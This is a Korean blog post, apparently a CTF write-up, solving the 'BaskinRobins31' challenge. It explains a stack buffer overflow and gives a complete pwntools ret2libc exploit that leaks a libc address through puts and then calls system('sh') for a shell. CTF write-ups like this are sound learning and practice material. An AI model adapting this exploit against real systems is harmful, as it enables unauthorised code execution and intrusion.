2020. 9. 1. 22:29, CTF
이런식으로 그냥 배라31 게임을 한다. 번호를 입력받아서 나는 scanf("%d")로 하는 줄 알았는데,
사실 read로 값을 받고 있었다.
stack에서 주는 s의 크기는 0xb0인데, read에서는 400을 하고 있다.
간단하게 ROP가 될 것 같다.
카나리도 없다.
from pwn import *
#r = remote("", )
r = process("./BaskinRobins31")
gdb.attach(r)
e = ELF("./BaskinRobins31")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# one_gadget : 0x45216 0x4526a 0xf02a4 0xf1147
pop_rdi = 0x0000000000400bc3
main = 0x400a4b
payload = "A"*0xb8
payload += p64(pop_rdi)
payload += p64(e.got["putchar"])
payload += p64(e.plt["puts"])
payload += p64(main)
r.sendlineafter(")\n", payload)
r.recvuntil("( \n")
libc_base = u64(r.recv(6).ljust(8,"\x00")) - 0x712a0
system = libc_base + libc.symbols["system"]
sh = libc_base + 0x11e70
payload = "A"*0xb8
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system)
r.sendlineafter(")\n", payload)
print(hex(libc_base))
r.interactive()
0xb8로 오프셋 다 덮어주고 putchar 함수 got 얻고 puts로 libc 주소 얻었다.
이후에는 다시 main으로 가서 libc base에서 system 함수 구하고 sh 문자열 주소 구해서 ROP를 진행했다.
여기서 helper라고 아에 가젯을 만들어주긴 했는데 딱히 쓸모가 없다.
그냥 pop rdi ; ret 가젯 하나만으로도 puts로 릭하고 system("sh") 해주면 된다.
onegadget을 시도해봤는데 작동이 안된다.
아무튼 실행시키면 아래와 같이 셸이 따진다.
'CTF' 카테고리의 다른 글
간단한 바이너리 익스 + NX + ASLR (0) | 2020.08.27 |
---|---|
간단한 바이너리 익스 + NX (0) | 2020.08.25 |
Dream hack - rev-basic-2 (0) | 2020.08.07 |
Hacking Championship Junior 문제 2개 풀이 (0) | 2019.10.21 |
Layer7 CTF Write up (0) | 2019.10.07 |
Comments, Trackbacks